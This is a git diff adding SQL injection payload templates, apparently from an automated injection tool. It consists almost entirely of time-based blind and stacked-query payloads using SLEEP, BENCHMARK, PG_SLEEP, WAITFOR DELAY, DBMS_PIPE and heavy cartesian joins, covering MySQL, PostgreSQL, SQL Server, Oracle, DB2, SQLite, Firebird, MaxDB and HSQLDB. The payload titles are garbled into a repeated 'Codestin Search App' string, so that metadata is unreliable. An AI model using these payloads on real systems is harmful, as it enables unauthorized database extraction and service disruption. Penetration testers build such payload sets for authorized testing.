+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])
+
+ ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
+
+
+
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 4
+ 3
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+ --
+
+
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+
+
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE
+
+ ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
+ --
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE
+
+ ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3
+
+ ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3
+ --
+
+
+
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3
+
+ ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3
+
+
+
+
+
+ SAP MaxDB
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)
+
+
+
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ Codestin Search App
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+
+
+
+ HSQLDB
+ >= 2.0
+
+
+
+
+ Codestin Search App
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+
+
+
+
+
+ HSQLDB
+ >= 2.0
+
+
+
+
+
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
new file mode 100644
index 0000000000..21a50ce401
--- /dev/null
+++ b/data/xml/payloads/time_blind.xml
@@ -0,0 +1,2174 @@
+
+
+
+
+
+
+
+ Codestin Search App
+ 5
+ 1
+ 1
+ 1,2,3,8,9
+ 1
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 1
+ 3
+ 1,2,3,9
+ 1
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 1
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ AND SLEEP([SLEEPTIME])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ OR SLEEP([SLEEPTIME])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ AND SLEEP([SLEEPTIME])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ OR SLEEP([SLEEPTIME])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 1
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+
+
+
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+
+
+
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+
+
+
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+
+
+
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+ #
+
+
+
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+ #
+
+
+
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+ #
+
+
+
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+ #
+
+
+
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
+
+ RLIKE SLEEP([SLEEPTIME])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
+
+ RLIKE SLEEP([SLEEPTIME])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 1
+ 1,2,3,8,9
+ 1
+ AND ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 1
+ 1,2,3,9
+ 1
+ AND ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ #
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ #
+
+
+
+
+
+ MySQL
+
+
+
+
+ Codestin Search App
+ 5
+ 1
+ 1
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 5
+ 1
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+ --
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+ --
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+ --
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+ --
+
+
+
+
+
+ PostgreSQL
+
+
+
+
+ Codestin Search App
+ 5
+ 1
+ 1
+ 0
+ 1
+ IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 1
+ 0
+ 1
+ IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ WAITFOR DELAY '0:0:[SLEEPTIME]'
+ --
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+ --
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+ --
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Codestin Search App
+ 5
+ 1
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 1
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+ --
+
+
+
+
+
+ Oracle
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+
+
+
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+
+
+
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+ --
+
+
+
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+ --
+
+
+
+
+
+ IBM DB2
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 2
+ 1,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+
+
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 3
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+
+
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 2
+ 1,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+ --
+
+
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 5
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+ --
+
+
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Codestin Search App
+ 5
+ 4
+ 2
+ 1,9
+ 1
+ AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM])
+
